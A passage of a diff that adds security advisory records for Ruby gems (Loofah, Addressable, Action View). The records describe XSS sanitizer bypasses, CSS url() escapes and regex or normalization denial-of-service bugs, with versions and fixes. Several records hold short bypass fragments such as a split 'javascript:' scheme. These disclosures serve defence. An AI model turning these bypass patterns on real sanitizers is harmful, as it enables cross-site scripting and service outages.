"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.1.4.1"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/activestorage/GHSA-f3w6-w445-fwh9.yml"}],"database_specific":{"cwe_ids":["CWE-1188"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T23:46:51Z","nvd_published_at":"2026-11-10T21:19:26Z","severity":"CRITICAL"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-h6v6-rg66-fqj4.json b/data/RubyGems/GHSA-h6v6-rg66-fqj4.json new file mode 100644 index 0000000000..0d10bfa2c5 --- /dev/null +++ b/data/RubyGems/GHSA-h6v6-rg66-fqj4.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-h6v6-rg66-fqj4","published":"2026-11-12T20:52:09Z","modified":"2026-11-12T21:00:03.784161248Z","aliases":["CVE-2026-126203"],"summary":"Loofah: Mutation XSS in the HTML5 scrubbers through unescaped attribute values","details":"## Summary\n\nLoofah's HTML5 scrubbers could emit output that a browser parses into different markup, allowing mutation XSS. Nokogiri < 1.19.5 did not escape `<` and `>` in attribute values. When the output contained certain MathML, a browser treated markup inside an allowed attribute as live HTML. The `:strip` scrubber is affected in every browser. The `:prune` and `:escape` scrubbers are affected in WebKit browsers such as Safari.\n\nNokogiri 1.19.5 escapes `<` and `>` in attribute values, as the HTML standard requires. Loofah 2.25.3 requires Nokogiri >= 1.19.5.\n\n## Impact\n\nApplications that sanitize untrusted HTML with Loofah's HTML5 API (`Loofah.html5_fragment`, `Loofah.html5_document` and the `scrub_html5_*` methods) and display the result to other people are affected, including with the default allowlist.\n\nNot affected: Loofah's HTML4 API (including `Loofah::Helpers.sanitize`), the `:whitewash` scrubber, rails-html-sanitizer's default configuration, and JRuby.\n\n## Mitigation\n\nUpgrade to Loofah >= 2.25.3, or upgrade Nokogiri to >= 1.19.5.","affected":[{"package":{"name":"loofah","ecosystem":"RubyGems","purl":"pkg:gem/loofah"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.21.0"},{"fixed":"2.25.3"}]}],"versions":["2.21.0","2.21.1","2.21.2","2.21.3","2.21.4","2.22.0","2.23.0","2.23.1","2.24.0","2.24.1","2.25.0","2.25.1","2.25.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-h6v6-rg66-fqj4/GHSA-h6v6-rg66-fqj4.json"}}],"references":[{"type":"WEB","url":"https://github.com/flavorjones/loofah/security/advisories/GHSA-h6v6-rg66-fqj4"},{"type":"WEB","url":"https://github.com/flavorjones/loofah/pull/324"},{"type":"WEB","url":"https://github.com/sparklemotion/nokogiri/pull/3741"},{"type":"WEB","url":"https://github.com/flavorjones/loofah/commit/7ba1e7b77e043fb7dc832ef746fcbf83137135e6"},{"type":"WEB","url":"https://github.com/sparklemotion/nokogiri/commit/635abc8d65c75d594ddf8957fbfbfd822c2c0dbd"},{"type":"PACKAGE","url":"https://github.com/flavorjones/loofah"},{"type":"WEB","url":"https://github.com/flavorjones/loofah/releases/tag/v2.25.3"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/loofah/GHSA-h6v6-rg66-fqj4.yml"},{"type":"WEB","url":"https://github.com/sparklemotion/nokogiri/releases/tag/v1.19.5"}],"database_specific":{"cwe_ids":["CWE-116","CWE-79"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T20:52:09Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-j82w-28jv-3pmj.json b/data/RubyGems/GHSA-j82w-28jv-3pmj.json new file mode 100644 index 0000000000..b30496809c --- /dev/null +++ b/data/RubyGems/GHSA-j82w-28jv-3pmj.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-j82w-28jv-3pmj","published":"2026-11-12T22:30:37Z","modified":"2026-11-12T22:45:04.063599148Z","aliases":["CVE-2026-126350"],"summary":"Addressable: Regular Expression Denial of Service in templates with certain exploded expressions","details":"### Impact\n\nWithin the URI template implementation in Addressable, templates using the `*` (explode) modifier with the `/`, `.`, `;`, `?` or `&` operators (e.g., `{/segments*}`, `{.ext*}`, `{;params*}`, `{?query*}`) generate regular expressions vulnerable to catastrophic backtracking. When `Template#match` or `Template#extract` is called with a maliciously crafted URI that starts with the operator's leading character, matching takes exponential time, leading to uncontrolled resource consumption and denial of service. An input under 60 bytes is enough to occupy a thread for minutes.\n\nGHSA-h27x-rffw-24p4 (CVE-2026-35611) reported this pattern as fully remediated in 2.9.0. The 2.9.0 fix only made the joiner between exploded members mandatory for templates without an operator, and its regression specs used inputs that never start with the operator's leading character, so the vulnerable part of the expression was never reached. This issue was originally reported in #364 by @ebenoist in 2019 but insufficiently investigated.\n\nUsers of the URI parsing capabilities in Addressable but not the URI template matching capabilities are unaffected. Users who only call `Template#expand` are unaffected.\n\n### Affected Versions\n\nThis vulnerability affects Addressable >= 2.3.0 (note: 2.3.0 and 2.3.1 were yanked; the earliest installable release is 2.3.2), including 2.9.0. It is fixed in 2.9.1.\n\nThe vulnerability is only exploitable on Ruby implementations whose regular expression engine backtracks without memoization: MRI Ruby < 3.2 and JRuby. MRI Ruby 3.2 and later are not affected: their regular expression engine memoizes backtracking, so these patterns still match in linear time. TruffleRuby 40.0 is not affected either. Earlier TruffleRuby versions were not tested.\n\nThis has been confirmed on the following runtimes with Addressable 2.9.0:\n\n| Runtime | Status |\n|---------|--------|\n| MRI Ruby 2.7 | Vulnerable |\n| MRI Ruby 3.1 | Vulnerable |\n| MRI Ruby 3.2 | Not affected |\n| MRI Ruby 3.3 | Not affected |\n| MRI Ruby 3.4 | Not affected |\n| MRI Ruby 4.0 | Not affected |\n| JRuby 9.4 | Vulnerable |\n| TruffleRuby 40.0 | Not affected |\n\n### Workarounds\n\n- Upgrade to MRI Ruby 3.2 or later, if the consuming application does not use JRuby.\n- Avoid matching user-supplied input on unpatched versions of the library against templates that use the `*` modifier with the `/`, `.`, `;`, `?` or `&` operators.\n- Apply a short timeout around any call to `Template#match` or `Template#extract` that processes user-supplied data.\n\n### Credits\n\nReported independently by @ebenoist, @andrewstellman, and then @halogenandtoast.\n\n### For more information\n\nIf there are any questions or comments about this advisory:\n* [Open an issue](https://github.com/sporkmonger/addressable/issues)","affected":[{"package":{"name":"addressable","ecosystem":"RubyGems","purl":"pkg:gem/addressable"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.9.1"}]}],"versions":["2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.7","2.3.8","2.4.0","2.5.0","2.5.1","2.5.2","2.6.0","2.7.0","2.8.0","2.8.1","2.8.10","2.8.2","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-j82w-28jv-3pmj/GHSA-j82w-28jv-3pmj.json"}}],"references":[{"type":"WEB","url":"https://github.com/sporkmonger/addressable/security/advisories/GHSA-j82w-28jv-3pmj"},{"type":"WEB","url":"https://github.com/sporkmonger/addressable/issues/364"},{"type":"WEB","url":"https://github.com/sporkmonger/addressable/commit/26d1e9e8409a861571f9d0029022b6e9b9158b5e"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/addressable/GHSA-j82w-28jv-3pmj.yml"},{"type":"PACKAGE","url":"https://github.com/sporkmonger/addressable"},{"type":"WEB","url":"https://github.com/sporkmonger/addressable/releases/tag/addressable-2.9.1"}],"database_specific":{"cwe_ids":["CWE-1333"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T22:30:37Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-jcff-cj73-4w4f.json b/data/RubyGems/GHSA-jcff-cj73-4w4f.json new file mode 100644 index 0000000000..2b9d1e42c9 --- /dev/null +++ b/data/RubyGems/GHSA-jcff-cj73-4w4f.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-jcff-cj73-4w4f","published":"2026-11-12T20:56:30Z","modified":"2026-11-12T21:00:03.782376099Z","aliases":["CVE-2026-126206"],"summary":"Loofah allowed_uri? treats data:text/html as safe text/plain","details":"## Summary\n\n`Loofah::HTML5::Scrub.allowed_uri?` returns `true` for a `data:` URI whose mediatype is written with the HTML5 named character reference `/` in place of the solidus. Loofah reads that mediatype as malformed and falls back to the allowed `text/plain`, while a browser decodes the reference and reads the same URI as `text/html`.\n\n## Details\n\n`allowed_uri?` decodes HTML entities with `CGI.unescapeHTML`, which handles numeric character references but not HTML5 named character references. `/` therefore survives normalization, so the mediatype carries no `/`, fails the MIME grammar, and falls back to the allowed `text/plain` under the WHATWG rule for a malformed mediatype.\n\n`:`, `/`, ` ` and ` ` are the only named character references in the HTML5 table that decode to characters that change how a URI parses (U+003A, U+002F, U+0009 and U+000A; there is no named reference for U+000D), so this closes the set.\n\nLoofah's default `sanitize()` path is **not** affected, because Nokogiri decodes the entity during parsing before Loofah evaluates the URI. This issue affects only callers of the public `allowed_uri?` string-level helper that pass it HTML-encoded strings.\n\n## Impact\n\nApplications that validate a user-controlled URL with `Loofah::HTML5::Scrub.allowed_uri?` and then render the approved value into an `href` or another browser-interpreted URI attribute may be vulnerable to cross-site scripting. `Rails::HTML::Sanitizer.allowed_uri?` re-exports the same helper.\n\n## Mitigation\n\nUpgrade to Loofah >= 2.25.3.\n\n## Credit\n\nResponsibly reported by GitHub user @ngpestelos.","affected":[{"package":{"name":"loofah","ecosystem":"RubyGems","purl":"pkg:gem/loofah"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.25.2"},{"fixed":"2.25.3"}]}],"versions":["2.25.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-jcff-cj73-4w4f/GHSA-jcff-cj73-4w4f.json"}}],"references":[{"type":"WEB","url":"https://github.com/flavorjones/loofah/security/advisories/GHSA-jcff-cj73-4w4f"},{"type":"WEB","url":"https://github.com/flavorjones/loofah/pull/324"},{"type":"WEB","url":"https://github.com/flavorjones/loofah/commit/ad92002966053309f83b550861e2ef04bc714744"},{"type":"PACKAGE","url":"https://github.com/flavorjones/loofah"},{"type":"WEB","url":"https://github.com/flavorjones/loofah/releases/tag/v2.25.3"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/loofah/GHSA-jcff-cj73-4w4f.yml"}],"database_specific":{"cwe_ids":["CWE-184","CWE-79"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T20:56:30Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-m3x9-938q-5767.json b/data/RubyGems/GHSA-m3x9-938q-5767.json new file mode 100644 index 0000000000..4d060e0bff --- /dev/null +++ b/data/RubyGems/GHSA-m3x9-938q-5767.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-m3x9-938q-5767","published":"2026-11-12T21:05:41Z","modified":"2026-11-12T21:15:10.375448259Z","aliases":["CVE-2026-126207"],"summary":"Loofah: CSS url() sanitization bypass via escaped parentheses","details":"## Summary\n\n`Loofah::HTML5::Scrub.scrub_css` rejected any property whose top-level Crass tokens included a `:url` or `:bad_url`, and left `url` out of the allowed CSS functions. Both checks ran only against the first parse of the `style` attribute. When `scrub_css` rebuilt each property it emitted identifiers with their CSS escapes decoded, so parentheses written as escapes — `url\\28 …\\29` — hid the `url` token from the checks, and the rebuilt value was re-parsed into a live `url()` that nothing checked again. An escaped property name, six-digit escapes, escaped comments and escaped quotes all reached the same place.\n\n## Impact\n\nA sanitized `style` attribute could make a viewer's browser issue a request to an attacker-chosen URL. `list-style` fetches on render with no interaction, `cursor` on hover. That leaks the viewer's IP address, user agent and access timing, and can reach hosts routable only from the viewer's network. No script survives sanitization and the attacker cannot read the response, so the request itself is the whole impact.\n\nApplications that sanitize user-supplied HTML with Loofah's default allowlist and display it to other people are affected.\n\n## Mitigation\n\nUpgrade to Loofah >= 2.25.3.\n\n## Credit\n\nReported by NotAFlightRisk through GitHub's private vulnerability reporting.","affected":[{"package":{"name":"loofah","ecosystem":"RubyGems","purl":"pkg:gem/loofah"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.25.3"}]}],"versions":["0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","1.0.0","1.0.0.beta.1","1.1.0","1.2.0","1.2.1","2.0.0","2.0.1","2.0.2","2.0.3","2.1.0","2.1.0.rc1","2.1.0.rc2","2.1.1","2.10.0","2.11.0","2.12.0","2.13.0","2.14.0","2.15.0","2.16.0","2.17.0","2.18.0","2.19.0","2.19.1","2.2.0","2.2.1","2.2.2","2.2.3","2.20.0","2.21.0","2.21.0.rc1","2.21.1","2.21.2","2.21.3","2.21.4","2.22.0","2.23.0","2.23.1","2.24.0","2.24.1","2.25.0","2.25.1","2.25.2","2.3.0","2.3.1","2.4.0","2.5.0","2.6.0","2.7.0","2.8.0","2.9.0","2.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-m3x9-938q-5767/GHSA-m3x9-938q-5767.json"}}],"references":[{"type":"WEB","url":"https://github.com/flavorjones/loofah/security/advisories/GHSA-m3x9-938q-5767"},{"type":"WEB","url":"https://github.com/flavorjones/loofah/pull/324"},{"type":"WEB","url":"https://github.com/flavorjones/loofah/commit/b198a36e44c9c5408163ac50787825e8ca0b166b"},{"type":"PACKAGE","url":"https://github.com/flavorjones/loofah"},{"type":"WEB","url":"https://github.com/flavorjones/loofah/releases/tag/v2.25.3"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/loofah/GHSA-m3x9-938q-5767.yml"}],"database_specific":{"cwe_ids":["CWE-180","CWE-184"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T21:05:41Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-mf2j-8f84-cc9q.json b/data/RubyGems/GHSA-mf2j-8f84-cc9q.json new file mode 100644 index 0000000000..5c21368e7c --- /dev/null +++ b/data/RubyGems/GHSA-mf2j-8f84-cc9q.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-mf2j-8f84-cc9q","published":"2026-11-12T21:00:42Z","modified":"2026-11-12T21:15:10.377890075Z","aliases":["CVE-2026-126205"],"summary":"Loofah: Regular expression denial of service in the SVG local-reference check","details":"## Summary\n\nLoofah's HTML5 sanitizer restricts the `href` and `xlink:href` attributes of SVG reference elements to local references. That check matched the attribute value against `/^\\s*[^#\\s].*/m`. In Ruby `^` anchors to every line start and `\\s` matches newlines, so an all-whitespace value made the engine rescan the value from each of its line starts, taking time quadratic in its length.\n\nOnly Ruby 3.1 and earlier are affected. Ruby 3.2 added linear-time regexp matching, which makes the pattern linear.\n\n## Impact\n\nAn attacker who supplies HTML to be sanitized can consume CPU out of proportion to the input size, by sending an SVG reference element whose `href` or `xlink:href` is a long run of whitespace.\n\nThe default safelist allows the elements in `SVG_ALLOW_LOCAL_HREF`, so no configuration change is required.\n\n## Mitigation\n\nUpgrade to Loofah >= 2.25.3. Applications that cannot upgrade should run Ruby 3.2 or later, which matches the pattern in linear time.\n\n## Credit\n\nReported by scyoon through the Rails HackerOne program.","affected":[{"package":{"name":"loofah","ecosystem":"RubyGems","purl":"pkg:gem/loofah"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.25.3"}]}],"versions":["0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","1.0.0","1.0.0.beta.1","1.1.0","1.2.0","1.2.1","2.0.0","2.0.1","2.0.2","2.0.3","2.1.0","2.1.0.rc1","2.1.0.rc2","2.1.1","2.10.0","2.11.0","2.12.0","2.13.0","2.14.0","2.15.0","2.16.0","2.17.0","2.18.0","2.19.0","2.19.1","2.2.0","2.2.1","2.2.2","2.2.3","2.20.0","2.21.0","2.21.0.rc1","2.21.1","2.21.2","2.21.3","2.21.4","2.22.0","2.23.0","2.23.1","2.24.0","2.24.1","2.25.0","2.25.1","2.25.2","2.3.0","2.3.1","2.4.0","2.5.0","2.6.0","2.7.0","2.8.0","2.9.0","2.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-mf2j-8f84-cc9q/GHSA-mf2j-8f84-cc9q.json"}}],"references":[{"type":"WEB","url":"https://github.com/flavorjones/loofah/security/advisories/GHSA-mf2j-8f84-cc9q"},{"type":"WEB","url":"https://github.com/flavorjones/loofah/pull/324"},{"type":"WEB","url":"https://github.com/flavorjones/loofah/commit/2f31e7fae36036c9882d3d0fae720e1014c57cd1"},{"type":"PACKAGE","url":"https://github.com/flavorjones/loofah"},{"type":"WEB","url":"https://github.com/flavorjones/loofah/releases/tag/v2.25.3"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/loofah/GHSA-mf2j-8f84-cc9q.yml"}],"database_specific":{"cwe_ids":["CWE-1333","CWE-400"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T21:00:42Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-p9wj-w8xq-vjx6.json b/data/RubyGems/GHSA-p9wj-w8xq-vjx6.json new file mode 100644 index 0000000000..71d97fad52 --- /dev/null +++ b/data/RubyGems/GHSA-p9wj-w8xq-vjx6.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-p9wj-w8xq-vjx6","published":"2026-11-12T21:26:25Z","modified":"2026-11-12T21:30:03.002169937Z","aliases":["CVE-2026-126209"],"summary":"Loofah allowed_uri? treats javascript: alert(1) as safe","details":"## Summary\n\n`Loofah::HTML5::Scrub.allowed_uri?` returns `true` for a `javascript:` or `vbscript:` URI whose scheme is split by a numeric character reference without a trailing semicolon, followed by a character that `allowed_uri?` strips, such as a space or tab. A browser ends the reference at that character and reads `javascript: alert(1)` as `javascript: alert(1)`.\n\n## Details\n\n`allowed_uri?` strips control characters and whitespace before it decodes numeric character references. Removing the character that ends a semicolon-less reference lets the reference run on into the following text, so `: alert` decodes as `Ϊ` (U+03AA) instead of a colon, and no scheme is detected. The same applies to decimal references and to references that encode a scheme letter, as in `j\\tavascript:alert(1)`.\n\nLoofah's default `sanitize()` path is **not** affected, because Nokogiri decodes the entity during parsing before Loofah evaluates the URI. This issue affects only callers of the public `allowed_uri?` string-level helper that pass it HTML-encoded strings.\n\n## Impact\n\nApplications that validate a user-controlled URL with `Loofah::HTML5::Scrub.allowed_uri?` and then render the approved value into an `href` or another browser-interpreted URI attribute may be vulnerable to cross-site scripting. `Rails::HTML::Sanitizer.allowed_uri?` re-exports the same helper.\n\n## Mitigation\n\nUpgrade to Loofah >= 2.25.3.\n\n## Credit\n\nResponsibly reported by GitHub user @manus-pi.","affected":[{"package":{"name":"loofah","ecosystem":"RubyGems","purl":"pkg:gem/loofah"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.25.0"},{"fixed":"2.25.3"}]}],"versions":["2.25.0","2.25.1","2.25.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-p9wj-w8xq-vjx6/GHSA-p9wj-w8xq-vjx6.json"}}],"references":[{"type":"WEB","url":"https://github.com/flavorjones/loofah/security/advisories/GHSA-p9wj-w8xq-vjx6"},{"type":"WEB","url":"https://github.com/flavorjones/loofah/pull/324"},{"type":"WEB","url":"https://github.com/flavorjones/loofah/commit/62c04841e8252a1b5373afcd2b89fb9b8279e317"},{"type":"PACKAGE","url":"https://github.com/flavorjones/loofah"},{"type":"WEB","url":"https://github.com/flavorjones/loofah/releases/tag/v2.25.3"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/loofah/GHSA-p9wj-w8xq-vjx6.yml"}],"database_specific":{"cwe_ids":["CWE-184","CWE-79"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T21:26:25Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-qq38-m9mg-xjj5.json b/data/RubyGems/GHSA-qq38-m9mg-xjj5.json new file mode 100644 index 0000000000..18dc16931f --- /dev/null +++ b/data/RubyGems/GHSA-qq38-m9mg-xjj5.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-qq38-m9mg-xjj5","published":"2026-11-12T22:35:33Z","modified":"2026-11-12T22:45:03.586718810Z","aliases":["CVE-2026-126351"],"summary":"Addressable: Denial of service in URI path normalization","details":"### Impact\n\n`Addressable::URI.normalize_path` takes time quadratic in the number of nested dot segments in a path (e.g., `\"/\" + \"a/\" * n + \"../\" * n`, which for n = 3 is `/a/a/a/../../../`), because it removes one dot segment per pass over the whole path. `URI#normalize`, `URI#normalized_path`, `URI#==`, `URI#===` and `URI#join` all call it. Normalizing, comparing or joining a URI taken from user input can result in uncontrolled resource consumption, leading to denial of service. On 2.9.0, normalizing a 34 KB path takes about 3.5 seconds on MRI Ruby 4.0, and the cost grows with the square of the path length.\n\nThis affects every Ruby implementation, including MRI Ruby 3.2 and later. `URI.parse` by itself is unaffected, as is code that never normalizes, compares, or joins URIs from untrusted sources.\n\n### Affected Versions\n\nThis vulnerability affects all versions of Addressable prior to 2.9.1. It is fixed in 2.9.1.\n\n### Workarounds\n\n- Limit the length of URIs taken from user input before calling `normalize`, `==` or `join` on them. Web servers often limit request lines to about 8 KB, which keeps the cost to about 150 milliseconds per call on typical hardware, but URIs from other sources (request bodies, headers such as `Location`, stored data) may not be limited.\n- Reject paths with many dot segments before normalizing them.\n\n### Credits\n\nReported by Matthew Mongeau (@halogenandtoast), Ruby Central Gem Security, who also suggested the single-pass approach used in the fix.\n\n### For more information\n\nIf there are any questions or comments about this advisory:\n* [Open an issue](https://github.com/sporkmonger/addressable/issues)","affected":[{"package":{"name":"addressable","ecosystem":"RubyGems","purl":"pkg:gem/addressable"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.1"}]}],"versions":["0.1.0","0.1.1","0.1.2","1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","2.0.0","2.0.1","2.0.2","2.1.0","2.1.1","2.1.2","2.2.0","2.2.1","2.2.2","2.2.3","2.2.4","2.2.5","2.2.6","2.2.7","2.2.8","2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.7","2.3.8","2.4.0","2.5.0","2.5.1","2.5.2","2.6.0","2.7.0","2.8.0","2.8.1","2.8.10","2.8.2","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-qq38-m9mg-xjj5/GHSA-qq38-m9mg-xjj5.json"}}],"references":[{"type":"WEB","url":"https://github.com/sporkmonger/addressable/security/advisories/GHSA-qq38-m9mg-xjj5"},{"type":"WEB","url":"https://github.com/sporkmonger/addressable/commit/25c7c412a2f7e06c3cac92872e831f6d053703c5"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/addressable/GHSA-qq38-m9mg-xjj5.yml"},{"type":"PACKAGE","url":"https://github.com/sporkmonger/addressable"},{"type":"WEB","url":"https://github.com/sporkmonger/addressable/releases/tag/addressable-2.9.1"}],"database_specific":{"cwe_ids":["CWE-407"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T22:35:33Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-rq8q-p985-fjq7.json b/data/RubyGems/GHSA-rq8q-p985-fjq7.json new file mode 100644 index 0000000000..2196f4f9e7 --- /dev/null +++ b/data/RubyGems/GHSA-rq8q-p985-fjq7.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-rq8q-p985-fjq7","published":"2026-11-12T23:39:41Z","modified":"2026-11-12T23:45:03.332653910Z","aliases":["CVE-2026-126070"],"summary":"Action View: Possible XSS vulnerability in strip_tags","details":"### Impact\n`strip_tags` in Action View returns its sanitized output marked `html_safe`, but the underlying sanitizer encodes only `&`, `<` and `>`, leaving `\"` and `'` unencoded. Because ERB does not escape a string marked `html_safe`, untrusted input passed through `strip_tags` and rendered inside a quoted HTML attribute value could close the attribute and add new attributes, possibly leading to XSS. Applications that render `strip_tags` output from untrusted input inside an HTML attribute, for example in a `title` attribute or a `` tag, are affected. Output rendered as element content is not affected.\n\n### Details\n`strip_tags` now encodes `\"` and `'` in its output, as well as `&`, `<` and `>`, without double-encoding existing entities. Applications that use `strip_tags` output outside HTML, such as in a text template or JSON, now see `"` and `'` where they saw `\"` and `'`; `CGI.unescapeHTML` decodes them. See the Action View CHANGELOG.\n\n### Workarounds\nPass `strip_tags` output to an attribute through a tag helper, which escapes attribute values, for example `tag.a(title: strip_tags(user_input))`.\n\n### Releases\nThe fixed releases are available at the normal locations.\n\nPatches for those who cannot upgrade at once:\n- 8.1: https://github.com/rails/rails/commit/568b19cb860322885593e308a7f27aceb779e9d7.patch\n- 8.0: https://github.com/rails/rails/commit/c3772a10f405f9644125cbb484adfd2aa7a25a59.patch\n\n### Credit\nThis issue was responsibly reported by HackerOne researcher [lucasluitjes](https://hackerone.com/lucasluitjes).","affected":[{"package":{"name":"actionview","ecosystem":"RubyGems","purl":"pkg:gem/actionview"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1.0.beta1"},{"fixed":"8.1.4.1"}]}],"versions":["8.1.0","8.1.0.beta1","8.1.0.rc1","8.1.1","8.1.2","8.1.2.1","8.1.3","8.1.3.1","8.1.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-rq8q-p985-fjq7/GHSA-rq8q-p985-fjq7.json"}},{"package":{"name":"actionview","ecosystem":"RubyGems","purl":"pkg:gem/actionview"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.0.5.2"}]}],"versions":["4.1.0","4.1.0.beta1","4.1.0.beta2","4.1.0.rc1","4.1.0.rc2","4.1.1","4.1.10","4.1.10.rc1","4.1.10.rc2","4.1.10.rc3","4.1.10.rc4","4.1.11","4.1.12","4.1.12.rc1","4.1.13","4.1.13.rc1","4.1.14","4.1.14.1","4.1.14.2","4.1.14.rc1","4.1.14.rc2","4.1.15","4.1.15.rc1","4.1.16","4.1.16.rc1","4.1.2","4.1.2.rc1","4.1.2.rc2","4.1.2.rc3","4.1.3","4.1.4","4.1.5","4.1.6","4.1.6.rc1","4.1.6.rc2","4.1.7","4.1.7.1","4.1.8","4.1.9","4.1.9.rc1","4.2.0","4.2.0.beta1","4.2.0.beta2","4.2.0.beta3","4.2.0.beta4","4.2.0.rc1","4.2.0.rc2","4.2.0.rc3","4.2.1","4.2.1.rc1","4.2.1.rc2","4.2.1.rc3","4.2.1.rc4","4.2.10","4.2.10.rc1","4.2.11","4.2.11.1","4.2.11.2","4.2.11.3","4.2.2","4.2.3","4.2.3.rc1","4.2.4","4.2.4.rc1","4.2.5","4.2.5.1","4.2.5.2","4.2.5.rc1","4.2.5.rc2","4.2.6","4.2.6.rc1","4.2.7","4.2.7.1","4.2.7.rc1","4.2.8","4.2.8.rc1","4.2.9","4.2.9.rc1","4.2.9.rc2","5.0.0","5.0.0.1","5.0.0.beta1","5.0.0.beta1.1","5.0.0.beta2","5.0.0.beta3","5.0.0.beta4","5.0.0.racecar1","5.0.0.rc1","5.0.0.rc2","5.0.1","5.0.1.rc1","5.0.1.rc2","5.0.2","5.0.2.rc1","5.0.3","5.0.4","5.0.4.rc1","5.0.5","5.0.5.rc1","5.0.5.rc2","5.0.6","5.0.6.rc1","5.0.7","5.0.7.1","5.0.7.2","5.1.0","5.1.0.beta1","5.1.0.rc1","5.1.0.rc2","5.1.1","5.1.2","5.1.2.rc1","5.1.3","5.1.3.rc1","5.1.3.rc2","5.1.3.rc3","5.1.4","5.1.4.rc1","5.1.5","5.1.5.rc1","5.1.6","5.1.6.1","5.1.6.2","5.1.7","5.1.7.rc1","5.2.0","5.2.0.beta1","5.2.0.beta2","5.2.0.rc1","5.2.0.rc2","5.2.1","5.2.1.1","5.2.1.rc1","5.2.2","5.2.2.1","5